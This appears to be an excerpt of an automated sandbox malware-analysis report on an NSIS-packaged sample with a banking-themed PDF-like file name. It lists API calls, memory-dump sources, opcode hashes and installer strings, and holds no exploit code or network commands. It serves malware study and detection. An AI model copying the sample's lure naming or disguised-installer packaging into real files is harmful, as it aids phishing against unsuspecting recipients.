                                                                                                            • Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
                                                                                                            • Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9
                                                                                                            APIs
                                                                                                            • lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
                                                                                                            • lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
                                                                                                            • lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
                                                                                                            • SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
                                                                                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
                                                                                                            • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
                                                                                                            • SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                                                                                            • String ID:
                                                                                                            • API String ID: 2531174081-0
                                                                                                            • Opcode ID: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
                                                                                                            • Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
                                                                                                            • Opcode Fuzzy Hash: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
                                                                                                            • Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8
                                                                                                            APIs
                                                                                                            • DestroyWindow.USER32(?,00000000), ref: 00402D35
                                                                                                            • GetTickCount.KERNEL32 ref: 00402D53
                                                                                                            • wsprintfW.USER32 ref: 00402D81
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
                                                                                                              • Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
                                                                                                              • Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F
                                                                                                            • CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
                                                                                                            • ShowWindow.USER32(00000000,00000005), ref: 00402DB3
                                                                                                              • Part of subcall function 00402CFE: MulDiv.KERNEL32(?,00000064,?), ref: 00402D13
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
                                                                                                            • String ID: ... %d%%
                                                                                                            • API String ID: 722711167-2449383134
                                                                                                            • Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
                                                                                                            • Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
                                                                                                            • Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
                                                                                                            • Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E
                                                                                                            APIs
                                                                                                            • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
                                                                                                            • GetMessagePos.USER32 ref: 00404A81
                                                                                                            • ScreenToClient.USER32(?,?), ref: 00404A9B
                                                                                                            • SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
                                                                                                            • SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Message$Send$ClientScreen
                                                                                                            • String ID: f
                                                                                                            • API String ID: 41195575-1993550816
                                                                                                            • Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
                                                                                                            • Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
                                                                                                            • Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
                                                                                                            • Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5
                                                                                                            APIs
                                                                                                            • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
                                                                                                            • wsprintfW.USER32 ref: 00402CD1
                                                                                                            • SetWindowTextW.USER32(?,?), ref: 00402CE1
                                                                                                            • SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Text$ItemTimerWindowwsprintf
                                                                                                            • String ID: unpacking data: %d%%$verifying installer: %d%%
                                                                                                            • API String ID: 1451636040-1158693248
                                                                                                            • Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
                                                                                                            • Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
                                                                                                            • Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
                                                                                                            • Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59
                                                                                                            APIs
                                                                                                            • GetTickCount.KERNEL32 ref: 00403192
                                                                                                              • Part of subcall function 0040330F: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402FE7,?), ref: 0040331D
                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
                                                                                                            • WriteFile.KERNEL32(0040BE78,?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
                                                                                                            • SetFilePointer.KERNEL32(?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$Pointer$CountTickWrite
                                                                                                            • String ID: x>A
                                                                                                            • API String ID: 2146148272-3854404225
                                                                                                            • Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
                                                                                                            • Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
                                                                                                            • Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
                                                                                                            • Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED
                                                                                                            APIs
                                                                                                            • CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 004061E1
                                                                                                            • CharNextW.USER32(?,?,?,00000000), ref: 004061F0
                                                                                                            • CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 004061F5
                                                                                                            • CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 00406208
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Char$Next$Prev
                                                                                                            • String ID: *?|<>/":
                                                                                                            • API String ID: 589700163-165019052
                                                                                                            • Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
                                                                                                            • Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
                                                                                                            • Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
                                                                                                            • Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD
                                                                                                            APIs
                                                                                                            • WideCharToMultiByte.KERNEL32(?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 0040252F
                                                                                                            • lstrlenA.KERNEL32(00409D80,?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 00402536
                                                                                                            • WriteFile.KERNEL32(00000000,?,00409D80,00000000,?,?,00000000,00000011), ref: 00402568
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: ByteCharFileMultiWideWritelstrlen
                                                                                                            • String ID: 8
                                                                                                            • API String ID: 1453599865-4194326291
                                                                                                            • Opcode ID: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
                                                                                                            • Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
                                                                                                            • Opcode Fuzzy Hash: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
                                                                                                            • Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D
                                                                                                            APIs
                                                                                                            • lstrcatW.KERNEL32(00000000,00000000,00409580,00435000,?,?,00000031), ref: 00401793
                                                                                                            • CompareFileTime.KERNEL32(-00000014,?,00409580,00409580,00000000,00000000,00409580,00435000,?,?,00000031), ref: 004017B8
                                                                                                              • Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
                                                                                                              • Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
                                                                                                              • Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                                                                            • String ID:
                                                                                                            • API String ID: 1941528284-0
                                                                                                            • Opcode ID: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
                                                                                                            • Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
                                                                                                            • Opcode Fuzzy Hash: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
                                                                                                            • Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E
                                                                                                            APIs
                                                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
                                                                                                            • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 00402BE0
                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 00402C05
                                                                                                            • RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Close$DeleteEnumOpen
                                                                                                            • String ID:
                                                                                                            • API String ID: 1912718029-0
                                                                                                            • Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
                                                                                                            • Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
                                                                                                            • Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
                                                                                                            • Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69
                                                                                                            APIs
                                                                                                            • GetDlgItem.USER32(?,?), ref: 00401CEB
                                                                                                            • GetClientRect.USER32(00000000,?), ref: 00401CF8
                                                                                                            • LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
                                                                                                            • SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
                                                                                                            • DeleteObject.GDI32(00000000), ref: 00401D36
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                                                                            • String ID:
                                                                                                            • API String ID: 1849352358-0
                                                                                                            • Opcode ID: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
                                                                                                            • Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
                                                                                                            • Opcode Fuzzy Hash: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
                                                                                                            • Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35
                                                                                                            APIs
                                                                                                            • GetDC.USER32(?), ref: 00401D44
                                                                                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
                                                                                                            • MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
                                                                                                            • ReleaseDC.USER32(?,00000000), ref: 00401D71
                                                                                                            • CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CapsCreateDeviceFontIndirectRelease
                                                                                                            • String ID:
                                                                                                            • API String ID: 3808545654-0
                                                                                                            • Opcode ID: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
                                                                                                            • Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
                                                                                                            • Opcode Fuzzy Hash: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
                                                                                                            • Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E
                                                                                                            APIs
                                                                                                            • SetFilePointer.KERNEL32(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
                                                                                                            • WriteFile.KERNEL32(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$PointerWrite
                                                                                                            • String ID: x>A
                                                                                                            • API String ID: 539440098-3854404225
                                                                                                            • Opcode ID: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
                                                                                                            • Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
                                                                                                            • Opcode Fuzzy Hash: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
                                                                                                            • Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9
                                                                                                            APIs
                                                                                                            • lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
                                                                                                            • wsprintfW.USER32 ref: 00404A12
                                                                                                            • SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: ItemTextlstrlenwsprintf
                                                                                                            • String ID: %u.%u%s%s
                                                                                                            • API String ID: 3540041739-3551169577
                                                                                                            • Opcode ID: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
